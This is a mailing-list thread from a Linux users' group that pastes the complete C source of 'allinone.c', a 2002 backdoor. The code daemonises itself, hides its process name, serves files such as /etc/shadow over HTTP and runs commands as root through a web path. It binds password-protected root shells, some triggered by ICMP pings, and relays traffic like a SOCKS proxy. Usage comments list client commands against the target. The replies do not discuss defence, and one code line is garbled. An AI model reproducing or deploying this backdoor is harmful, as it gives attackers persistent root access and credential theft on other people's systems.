This one was written in 2002.1 but presentations from DefCon 6 covered this. On Sun, Jul 12, 2009 at 9:42 PM, Lisa Kachold wrote: > http://nasrulkurniawan.blog.uns.ac.id/2007/05/03/allinonec/ > > On Sun, Jul 12, 2009 at 8:29 PM, Ryan Rix wrote: >> On Sun 12 July 2009 7:49:13 pm Lisa Kachold wrote: >>> Shell coding fun with ICMP/HTTP, Socks proxy. >>> >>> AllINONE.c >>> >>> /************************************************************************ >>> * allinone.c for HUC (2002.1) >>> * >>> * allinone.c is >>> * a Http server, >>> * a sockets transmit server, >>> * a shell backdoor, >>> * a icmp backdoor, >>> * a bind shell backdoor, >>> * a like http shell, >>> * it can translate file from remote host, >>> * it can give you a socks5 proxy, >>> * it can use for to attack, jumps the extension, Visits other machines. >>> * it can give you a root shell.:) >>> * >>> * Usage: >>> * compile: >>> * gcc -o allinone allinone.c -lpthread >>> * run on target: >>> * ./allinone >>> * >>> * 1.httpd server >>> * Client: >>> * http://target:8008/givemefile/etc/passwd >>> * lynx -dump http://target:8008/givemefile/etc/shadow > shadow >>> * or wget http://target:8008/givemefile/etc/shadow >>> * >>> * 2.icmp backdoor >>> * Client: >>> * ping -l 101 target (on windows) >>> * ping -s 101 -c 4 target (on linux) >>> * nc target 8080 >>> * kissme:)   --> your password >>> * >>> * 3.shell backdoor >>> * Client: >>> * nc target 8008 >>> * kissme:)   --> your password >>> * >>> * 4.bind a root shell on your port >>> * Client: >>> * http://target:8008/bindport:9999 >>> * nc target 9999 >>> * kissme:)   --> your password >>> * >>> * 5.sockets transmit >>> * Client: >>> * http://target:8008/socks/:local listen port::you want to tran >>> ip:::you want to tran port >>> * http://target:8008/socks/:1080::192.168.0.1:::21 >>> * nc target 1080 >>> * >>> * 6.http shell >>> * Client: >>> * http://target:8008/givemeshell:ls -al (no pipe) >>> * >>> * ps: >>> * All bind shell have a passwd, default is: kissme:) >>> * All bind shell will close, if Two minutes do not have the connection. >>> * All bind shell only can use one time until reactivates. >>> * >>> * >>> * Code by lion, e-mail: lion@cnhonker.net >>> * Welcome to HUC Website, Http://www.cnhonker.com >>> * >>> * Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others) >>> * Thx bkbll's Transmit code, and thx Neil,con,iceblood for test. >>> * >>> ************************************************************************/ >>> >>> >>> #include >>> #include >>> #include >>> #include >>> #include >>> #include >>> #include >>> #include >>> #include >>> #include >>> #include >>> #include >>> #include >>> #include >>> >>> >>> #define HTTPD_PORT    8008 >>> #define BIND_PORT     8888 >>> #define ICMP_PORT     8080 >>> #define TRAN_PORT     1080 >>> #define SIZEPACK      101 >>> #define MAXSIZE               32768 >>> #define TIMEOUT               120 >>> #define CONNECT_NUMBER        1 >>> #define HIDEME                "[login]       " >>> #define HIDEICMP      "[su]       " >>> #define HIDEFILE      "[bash]       " >>> #define GET_FILE      "givemefile" >>> #define SHELL_NAME    "givemeshell" >>> #define BIND_NAME     "bindport" >>> #define TRAN_NAME     "socks" >>> #define DISPART               ":" >>> #define DISPART1      "::" >>> #define DISPART2      ":::" >>> #define PASSWORD      "kissme:)"      /* Change it */ >>> #define MESSAGE               "\r\n========Welcome to >>> http://www.cnhonker.com========\r\n==========You got it, have a >>> goodluck. :)=========\r\n\r\nYour command: \0" >>> #define GIVEPASS      "\r\nEnter Your password: \0" >>> >>> #define max(a, b) (a)>(b)?(a) : (b) >>> >>> int maxfd, infd, outfd; >>> unsigned char ret_buf[32768]; >>> >>> int   daemon_init();          /* init the daemon, if success return 0 other <0 */ >>> void  sig_chid();             /* wait the child die */ >>> int   TCP_listen();           /* success return 1 else return -1 */ >>> char* read_file();            /* return the file content as a large string, buf >>> value like GET /index.html HTTP:/1.1 */ >>> ssize_t       writen_file();          /* writen data to socket */ >>> int   bind_shell();           /* bind a root shell to a port */ >>> int   get_shell();            /* get me the root shell */ >>> int   icmp_shell();           /* icmp backdoor */ >>> int   socks();                /* socks */ >>> int   create_socket(); >>> int   create_serv(); >>> int   client_connect(); >>> int   quit(); >>> void  out2in(); >>> char  x2c();                  /* http shell */ >>> void  unescape_url(); >>> void  plustospace(); >>> >>> >>> /* The main function from here */ >>> int main(int argc, char *argv[]) >>> { >>>       int fd, len, i, icmp; >>>       int csocket; >>>       struct sockaddr_in caddr; >>>       char readstr[4000]; >>>       char *cbuf; >>>       pid_t pid; >>> >>>       /* make it to a daemon */ >>>       /*signal(SIGHUP, SIG_IGN);*/ >>>       signal(SIGCHLD, sig_chid); >>>       daemon_init(); >>> >>>       if((pid = fork()) == -1) exit(0); >>>       if(pid <= 0) >>>       { >>>               strcpy(argv[0], HIDEICMP); >>>               icmp_shell(); >>>       } >>> >>>       fd = TCP_listen(HTTPD_PORT); >>>       if(fd <= 0) return -1; >>> >>>       for(;;) >>>       { >>>               strcpy(argv[0], HIDEME); >>> >>>               /* check httpd */ >>>               len = sizeof(caddr); >>>               if((csocket = accept(fd, &caddr, &len)) < 0) continue; >>>               if((pid = fork()) == -1) continue; >>>               if(pid <= 0) >>>               { >>>                       strcpy (argv[0], HIDEFILE); >>>                       i = recv(csocket, readstr, 4000,0); >>>                       if (i == -1) break; >>>                       if( readstr[ i -1 ] != '\n' ) break; >>>                       readstr [i] = '\0'; >>>                       /*printf("Read from client: %s \n", readstr);*/ >>>                       cbuf = read_file(readstr, csocket); >>>                       close(csocket); >>>               } >>>               close(csocket); >>>       } >>>       close(fd); >>>       return(1); >>> } >>> >>> >>> /* init the daemon, if success return 0 other <0 */ >>> int daemon_init() >>> { >>>       struct sigaction act; >>>       int i, maxfd; >>> >>>       if(fork() != 0) exit(0); >>>       if(setsid() < 0) return(-1); >>> >>>       act.sa_handler = SIG_IGN; >>>       /*act.sa_mask = 0;*/ >>>       act.sa_flags = 0; >>> >>>       sigaction(SIGHUP, &act, 0); >>> >>>       if(fork() != 0) exit(0); >>> >>>       chdir("/"); >>>       umask(0); >>>       maxfd = sysconf(_SC_OPEN_MAX); >>>       for(i=0; i>>       close(i); >>>       open("/dev/null", O_RDWR); >>>       dup(0); >>>       dup(1); >>>       dup(2); >>>       return(0); >>> } >>> >>> >>> /* wait the child die */ >>> void sig_chid(int signo) >>> { >>>       pid_t pid; >>>       int stat; >>>       while((pid = waitpid(-1, &stat, WNOHANG))>0); >>>       printf("children %d died\n", pid); >>>       return; >>> } >>> >>> /* success return 1 else return -1 */ >>> int TCP_listen(int port) >>> { >>>       struct sockaddr_in laddr ; >>>       int fd; >>>       socklen_t len ; >>>       fd = socket(AF_INET, SOCK_STREAM, 0); >>>       len = sizeof(laddr) ; >>>       memset(&laddr, 0, len) ; >>>       laddr.sin_addr.s_addr = htonl(INADDR_ANY) ; >>>       laddr.sin_family = AF_INET ; >>>       laddr.sin_port = htons(port) ; >>>       if((bind(fd, (const struct sockaddr *)&laddr, len))) return(-1); >>>       if(listen(fd, 5)) return(-1); >>>       return(fd); >>> } >>> >>> /* http server */ >>> char * read_file(char *buf, int fd) >>> { >>>       char *erro= >>>       "Content-type: text/html\n\n" >>>       "HTTP/1.1 404 Not Found\n" >>>       "Date: Mon, 14 Jan 2002 03:19:55 GMT\n" >>>       "Server: Apache/1.3.22 (Unix)\n" >>>       "Connection: close\n" >>>       "Content-Type: text/html\n\n" >>>       "\n" >>>       "\n" >>>       "404 Not Found\n" >>>       "\n" >>>       "

Not Found

\n" >>>       "The requested URL was not found on this server.

\n" >>>       "


\n" >>>       "
Apache/1.3.22 Server at localhost Port 8008
\n" >>>       "\n\n"; >>> >>>       char *bindok= >>>       "Content-type: text/html\n\n" >>>       "\nBind Shell ok.:)\n" >>>       "\n" >>>       "

\n" >>>       "\n" >>>       "You get it, goodluck! :-)\n" >>>       "


\n" >>>       "\n\n"; >>> >>>       char *tranok= >>>       "Content-type: text/html\n\n" >>>       "\nTran ok.:)\n" >>>       "\n" >>>       "

\n" >>>       "\n" >>>       "Tran ok!\n" >>>       "


\n" >>>       "\n\n"; >>> >>>       char *httpok1= >>>       "Content-type: text/html\n\n" >>>       "\nShell ok.:)\n" >>>       "\n" >>>       "
\n" >>>       "
\n";
>>>
>>>       char *httpok2=
>>>       "

\n" >>>       "\n\n"; >>> >>>       char *yourcom= >>>       "Your Command:\n"; >>> >>>       char *br= >>>       "
\n"; >>> >>>       int listenp, targetp, i, j, c, bport; >>>       char *cmd, *par, *op, *hp, *tp, *targeth, *command; >>>       char *swap_file = "/tmp/tmp.txt"; >>>       char *setpath = >>> "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:."; >>>       FILE *f; >>> >>>       /* check give me shell */ >>>       cmd = buf; >>>       par = strstr(cmd, PASSWORD); >>>       if(par != NULL) >>>       { >>>               /*printf("Get Shell:\n");*/ >>>               get_shell(fd); >>>               exit(0); >>>       } >>> >>>       /* check bind root shell on a port */ >>>       par = strstr(cmd, BIND_NAME); >>>       op = strstr(cmd, DISPART); >>>       if(par != NULL && op != NULL) >>>       { >>>               bport = atoi(op + strlen(DISPART)); >>>               if(bport <= 0) >>>                       bport = BIND_PORT; >>>               /*printf("Bind Port: %d\n", bport);*/ >>>               write(fd, bindok, strlen(bindok)); >>>               close(fd); >>>               bind_shell(bport); >>>               exit(0); >>>       } >>> >>>       /* check Tran code */ >>>       par = strstr(cmd, TRAN_NAME); >>>       op = strstr(cmd, DISPART); >>>       hp = strstr(cmd, DISPART1); >>>       tp = strstr(cmd, DISPART2); >>>       if(par != NULL && op != NULL && hp != NULL && tp != NULL) >>>       { >>>               listenp = atoi(op + strlen(DISPART)); >>>               if(listenp <= 0) >>>               listenp = TRAN_PORT; >>>               targetp = atoi(tp + strlen(DISPART2)); >>>               if(targetp <= 0) >>>                       targetp = 23; >>> >>>               hp = (hp + strlen(DISPART1)); >>>               targeth = strncpy(ret_buf, hp,strlen(hp) - strlen(tp)); >>>               targeth[strlen(hp) - strlen(tp)] = '\0'; >>> >>>               /*printf("Tran Port: listen %d port to %s %d port\n", listenp, >>> targeth, targetp);*/ >>>               write(fd, tranok, strlen(tranok)); >>>               close(fd); >>>               /* >>>               listenp = 1080; >>>               targetp = 21; >>>               targeth = "192.168.0.14"; >>>               */ >>>               socks(listenp, targeth, targetp); >>>               exit(0); >>>       } >>> >>>       /* check http shell */ >>>       par = strstr(cmd, SHELL_NAME); >>>       op = strstr(cmd, DISPART); >>>       if(par != NULL && op != NULL) >>>       { >>>               tp = buf + 5 + strlen(SHELL_NAME) + strlen(DISPART); >>>               hp = strstr(tp, "HTTP"); >>>               if(hp != NULL) *hp = '\0'; >>>               tp[strlen(tp) - 1] = 0; >>>               plustospace(tp); >>>               unescape_url(tp); >>>               /*printf("HTTP Shell: %s\n", tp);*/ >>> >>>               c = j = strlen(tp); >>>               tp[j] = ' ';j++; >>>               tp[j] = ' ';j++; >>>               tp[j] = '>';j++; >>>               tp[j] = ' ';j++; >>>               for(i = 0; i <= strlen(swap_file); i++, j++) >>>               { >>>                       tp[j] = swap_file[i]; >>>               } >>>               tp[j + strlen(swap_file)] = '\0'; >>> >>>               command = tp; >>>               /*printf("command: %s\n",command); */ >>>               setuid(0); >>>               setgid(0); >>>               chdir("/"); >>>               putenv(setpath); >>>               /*printf("setpath ok!\n");*/ >>>               system(command); >>>               /*printf("system ok!\n");*/ >>> >>>               f = fopen(swap_file, "r"); >>>               if (f == NULL) >>>               { >>>                       /*printf("Swap file error");*/ >>>                       writen_file(fd, erro, strlen(erro)); >>>                       return erro; >>>               } >>> >>>               writen_file(fd, httpok1, strlen(httpok1)); >>>               writen_file(fd, yourcom, strlen(yourcom)); >>>               writen_file(fd, command, c); >>>               writen_file(fd, br, strlen(br)); >>>               writen_file(fd, br, strlen(br)); >>>               while( !feof(f) ) >>>               { >>>                       i = fread(ret_buf, 1, 32768, f); >>>                       if (i == 0) break; >>>                       writen_file(fd, ret_buf, i); >>>               } >>>               fclose(f); >>>               writen_file(fd, br, strlen(br)); >>>               writen_file(fd, httpok2, strlen(httpok2)); >>>               remove(swap_file); >>>               exit(0); >>>       } >>> >>>       /* check getfile */ >>>       par = NULL; >>>       par = strstr(cmd, GET_FILE); >>>       if(par != NULL) >>>       { >>>               op = buf + 5 + strlen(GET_FILE); >>>               tp = strstr(op, "HTTP"); >>>               if(tp != NULL) *tp = '\0'; >>>               op[strlen(op) - 1] = 0; >>>               /*printf("Get File: %s\n", op);*/ >>>               f = fopen(op, "r"); >>>               if (f == NULL) >>>               { >>>                       writen_file(fd, erro, strlen(erro)); >>>                       return erro; >>>               } >>> >>>               while( !feof(f) ) >>>               { >>>                       i = fread(ret_buf, 1, 32768, f); >>>                       if (i == 0) break; >>>                       writen_file(fd, ret_buf, i); >>>               } >>>               fclose(f); >>>               exit(0); >>>       } >>>       writen_file(fd, erro, strlen(erro)); >>>       close(fd); >>>       exit(-1); >>> } >>> >>> >>> /* writen data to socket */ >>> ssize_t writen_file(int fd, const void *vptr, size_t n) >>> { >>>       size_t nleft; >>>       ssize_t nwritten; >>>       const char *ptr; >>>       ptr = vptr; >>>       nleft = n; >>>       while(nleft > 0) >>>       { >>>               if((nwritten = write(fd, ptr, nleft)) <= 0) >>>               { >>>                       if(errno == EINTR) >>>                       nwritten = 0; >>>                       else >>>                       return(-1); >>>               } >>>               nleft -= nwritten; >>>               ptr += nwritten; >>>       } >>>       return(n); >>> } >>> >>> /* bind root shell to a port */ >>> int bind_shell(int port) >>> { >>>       int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid, i, time; >>>       char passwd[15]; >>> >>>       struct sockaddr_in serv_addr; >>>       struct sockaddr_in client_addr; >>>       struct timeval testtime; >>> >>>       setuid(0); >>>       setgid(0); >>>       seteuid(0); >>>       setegid(0); >>> >>>       chdir("/"); >>> >>>       soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); >>> >>>       if (soc_des == -1) >>>               exit(-1); >>> >>>       bzero((char *) &serv_addr,sizeof(serv_addr)); >>>       serv_addr.sin_family = AF_INET; >>>       serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); >>>       serv_addr.sin_port = htons(port); >>> >>>       soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); >>> >>>       if (soc_rc != 0) >>>               exit(-1); >>>       if (fork() != 0) >>>               exit(0); >>>       setpgrp(); >>>       if (fork() != 0) >>>               exit(0); >>>       soc_rc = listen(soc_des, 5); >>>       if (soc_rc != 0) >>>               exit(0); >>> >>>       testtime.tv_sec = TIMEOUT; >>>       testtime.tv_usec = 0; >>> >>>       /*setsockopt(soc_des, SOL_SOCKET, SO_RCVTIMEO, &testtime, >>> sizeof(testtime));*/ >>> >>>       alarm(TIMEOUT); >>>       soc_len = sizeof(client_addr); >>>       soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); >>> >>>       if (soc_cli < 0) >>>               exit(0); >>>       alarm(0); >>> >>>       cli_pid = getpid(); >>>       server_pid = fork(); >>> >>>       if (server_pid != 0) >>>       { >>>               write(soc_cli, GIVEPASS, strlen(GIVEPASS)); >>>               recv(soc_cli, passwd, sizeof(passwd), 0); >>> >>>               for (i = 0; i < strlen(passwd); i++) >>>               { >>>                       if (passwd[i] == '\n' || passwd[i] == '\r') >>>                       { >>>                               passwd[i] = '\0'; >>>                       } >>>               } >>> >>>               if (strcmp(passwd, PASSWORD) != 0) >>>               { >>>                       close(soc_cli); >>>                       close(soc_rc); >>>                       exit(-1); >>>               } >>> >>>               write(soc_cli, MESSAGE, strlen(MESSAGE)); >>>               for (i = 0; i < 3; i++) >>>               { >>>                       dup2(soc_cli, i); >>>               } >>> >>>               execl("/bin/sh","sh",(char *)0); >>>               close(soc_cli); >>>               close(soc_rc); >>>               exit(1); >>>       } >>>       close(soc_cli); >>>       close(soc_rc); >>>       exit(0); >>> } >>> >>> /* return a root shell */ >>> int get_shell(int fd) >>> { >>>       int i; >>>       setuid(0); >>>       setgid(0); >>> >>>       chdir("/"); >>>       write(fd, MESSAGE, strlen(MESSAGE)); >>>       for (i = 0; i < 3; i++) >>>       { >>>               dup2(fd, i); >>>       } >>>       execl("/bin/sh","sh",(char *)0); >>>       close(fd); >>>       return 1; >>> } >>> >>> /* icmp backdoor */ >>> int icmp_shell() >>> { >>>       int i, s, size, fromlen, port = ICMP_PORT; >>>       char pkt[4096]; >>> >>>       struct protoent *proto; >>>       struct sockaddr_in from; >>> >>>       proto = getprotobyname("icmp"); >>> >>>       /* can't creat raw socket */ >>>       if((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) >>>       exit(0); >>> >>>       /* waiting for packets */ >>>       while(1) >>>       { >>>               do >>>               { >>>                       fromlen = sizeof(from); >>>                       if((size = recvfrom(s, pkt, sizeof(pkt), 0, (struct sockaddr >>> *)&from, &fromlen)) < 0) >>>                       printf("", size - 28); >>>               }while(size != SIZEPACK + 28); >>> >>>               /* size == SIZEPACK, let's bind the shell on your port :)*/ >>>               switch(fork()) >>>               { >>>               case -1: >>>                       continue; >>> >>>               case 0: >>>                       bind_shell(port); >>>               exit (0); >>>               } >>>       } >>>       return 1; >>> } >>> >>> /* tran socks code */ >>> int socks(int listenp, char *targeth, int targetp) >>> { >>>       int listfd, outside, inside, size; >>>       pthread_t thread1; >>>       struct sockaddr_in client; >>> >>>       if(!(listfd = create_socket())) exit(1); >>>       if(!(create_serv(listfd, listenp))) exit(1); >>> >>>       for(;;) >>>       { >>>               size = sizeof(struct sockaddr); >>>               /*printf("waiting for response.........\n");*/ >>>               if((outfd = accept(listfd, (struct sockaddr *)&client, &size)) < 0) >>>               { >>>                       /*printf("accept error\n");*/ >>>                       continue; >>>               } >>> >>>               /*printf("accept a client from %s\n", inet_ntoa(client.sin_addr));*/ >>>               if(!(infd=create_socket())) exit(1); >>>               if(!(client_connect(infd, targeth, targetp))) quit(outfd, infd, listfd); >>> >>>               maxfd = max(outfd, infd) + 1; >>>               pthread_create(&thread1, NULL, (void *)&out2in, NULL); >>>       } >>>       close(listfd); >>> } >>> >>> int create_socket() >>> { >>>       int sockfd; >>> >>>       if((sockfd = socket(AF_INET, SOCK_STREAM, 0))<0) >>>       { >>>               /*printf("Create socket error\n");*/ >>>               return(0); >>>       } >>>       return(sockfd); >>> } >>> >>> int create_serv(int sockfd, int port) >>> { >>>       struct sockaddr_in srvaddr; >>> >>>       bzero(&srvaddr, sizeof(struct sockaddr)); >>>       srvaddr.sin_port = htons(port); >>>       srvaddr.sin_family = AF_INET; >>>       srvaddr.sin_addr.s_addr = htonl(INADDR_ANY); >>> >>>       if(bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0) >>>       { >>>               /*printf("Bind to port %d error\n",port);*/ >>>               return(0); >>>       } >>> >>>       if(listen(sockfd,CONNECT_NUMBER)<0) >>>       { >>>               /*printf("listen error\n");*/ >>>               return(0); >>>       } >>>       return(1); >>> } >>> >>> int client_connect(int sockfd, char *server, int port) >>> { >>>       struct sockaddr_in cliaddr; >>>       struct hostent *host; >>> >>>       if(!(host = gethostbyname(server))) >>>       { >>>               /*printf("gethostbyname error:%s\n",server);*/ >>>               return(0); >>>       } >>> >>>       bzero(&cliaddr, sizeof(struct sockaddr)); >>>       cliaddr.sin_family = AF_INET; >>>       cliaddr.sin_port = htons(port); >>>       cliaddr.sin_addr = *((struct in_addr *)host->h_addr); >>> >>>       if(connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr)) < >>> 0) { >>>               /*printf("connect %s:%d error\n",server,port);*/ >>>               return(0); >>>       } >>>       return(1); >>> } >>> >>> int quit(int a, int b, int c) >>> { >>>       close(a); >>>       close(b); >>>       close(c); >>>       exit(1); >>> } >>> >>> void out2in() >>> { >>>       struct timeval timeset; >>>       fd_set readfd, writefd; >>>       int result, i = 0; >>>       char read_in1[MAXSIZE], send_out1[MAXSIZE]; >>>       char read_in2[MAXSIZE], send_out2[MAXSIZE]; >>>       int read1 = 0, totalread1 = 0, send1=0; >>>       int read2 = 0, totalread2 = 0, send2=0; >>>       int out_fd, in_fd; >>> >>>       out_fd = outfd; >>>       in_fd = infd; >>> >>>       bzero(read_in1, MAXSIZE); >>>       bzero(read_in2, MAXSIZE); >>>       bzero(send_out1, MAXSIZE); >>>       bzero(send_out2, MAXSIZE); >>> >>>       timeset.tv_sec = TIMEOUT; >>>       timeset.tv_usec = 0; >>> >>>       while(1) >>>       { >>>               FD_ZERO(&readfd); >>>               FD_ZERO(&writefd); >>> >>>               FD_SET(out_fd, &readfd); >>>               FD_SET(in_fd, &writefd); >>>               FD_SET(out_fd, &writefd); >>>               FD_SET(in_fd, &readfd); >>> >>>               result = select(maxfd, &readfd, &writefd, NULL, °¡et); >>>               if(result < 0) >>>               { >>>                       /*printf("select error\n");*/ >>>                       return; >>>               } >>>               else >>>               if(result == 0) >>>               { >>>                       /*printf("time out\n");*/ >>>                       return; >>>               } >>> >>>               if(FD_ISSET(out_fd, &readfd)) >>>               { >>>                       read1 = recv(out_fd, read_in1, MAXSIZE, 0); >>>                       if(read1 == 0) break; >>>                       if(read1 < 0) >>>                       { >>>                               /*printf("read data error\n");*/ >>>                               return; >>>                       } >>>                       memcpy(send_out1 + totalread1, read_in1, read1); >>>                       totalread1 += read1; >>>                       bzero(read_in1, MAXSIZE); >>>               } >>>               if(FD_ISSET(in_fd, &writefd)) >>>               { >>>                       while(totalread1 > 0) >>>                       { >>>                               send1 = write(in_fd, send_out1, totalread1); >>>                               if(send1 == 0)break; >>>                               if(send1 < 0) >>>                               { >>>                                       /*printf("unknow error\n");*/ >>>                                       continue; >>>                               } >>>                               totalread1 -= send1; >>>                       } >>>                       bzero(send_out1, MAXSIZE); >>>               } >>> >>>               if(FD_ISSET(in_fd, &readfd)) >>>               { >>>                       read2 = recv(in_fd, read_in2, MAXSIZE, 0); >>>                       if(read2 == 0) break; >>>                       if(read2 < 0) >>>                       { >>>                               /*printf("read data error\n");*/ >>>                               return; >>>                       } >>> >>>                       memcpy(send_out2 + totalread2, read_in2, read2); >>>                       totalread2 += read2; >>>                       bzero(read_in2, MAXSIZE); >>>               } >>> >>>               if(FD_ISSET(out_fd, &writefd)) >>>               { >>>                       while(totalread2 > 0) >>>                       { >>>                               send2 = write(out_fd, send_out2, totalread2); >>>                               if(send2 == 0) break; >>>                               if(send2 < 0) >>>                               { >>>                                       /*printf("unknow error\n");*/ >>>                                       continue; >>>                               } >>> >>>                               totalread2 -= send2; >>>                       } >>>                       bzero(send_out2, MAXSIZE); >>>               } >>>       } >>>       close(out_fd); >>>       close(in_fd); >>>       return; >>> } >>> >>> char x2c(char *what) >>> { >>>       register char digit; >>> >>>       digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0')); >>>       digit *= 16; >>>       digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A')+10 : (what[1] - '0')); >>>       return (digit); >>> } >>> >>> >>> void unescape_url(char *url) >>> { >>>       register int x, y; >>> >>>       for(x = 0 , y = 0; url[y]; ++x, ++y) >>>       { >>>               if((url[x] = url[y]) == '%') >>>               { >>>                       url[x] = x2c(&url[y + 1]); >>>                       y += 2; >>>               } >>>       } >>>       url[x] = '\0'; >>> } >>> >>> void plustospace(char *str) >>> { >>>       register int x; >>> >>>       for(x = 0; str[x]; x++) >>>       if (str[x] == '+') >>>       str[x] = ' '; >>> } >>> >>> >>> endfun >> >> This would be so much better as an attachment so my mail client didn't die >> horribly and it could be translated to a compilable file easily ;) >> >> --- >> Ryan Rix >> (623)-826-0051 >> >> Linus Torvalds: >>> This is the special easter release of linux, more mundanely called 1.3.84 >> Winfried Truemper: >>> Umh, oh. What do you mean by "special easter release"?. Will it quit >>> working today and rise on easter? >> >> http://hackersramblings.wordpress.com | http://twitter.com/phrkonaleash >> XMPP: phrkonaleash@gmail.com          | MSN: phrkonaleash@yahoo.com >> AIM:  phrkonaleash                    | Yahoo: phrkonaleash >> IRC:  PhrkOnLsh@irc.freenode.net/#srcedit,#teensonlinux,#plugaz and >>      countless other FOSS channels. >> >> >> --------------------------------------------------- >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> To subscribe, unsubscribe, or to change your mail settings: >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > > Get it here:  http://www.obnosis.com/allinone_c.txt > > > -- > http://linuxgazette.net/164/kachold.html > (623)239-3392 Skype: obn0sis > (503)754-4452 www.obnosis.com > -- http://linuxgazette.net/164/kachold.html (623)239-3392 Skype: obn0sis (503)754-4452 www.obnosis.com --------------------------------------------------- PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us To subscribe, unsubscribe, or to change your mail settings: http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss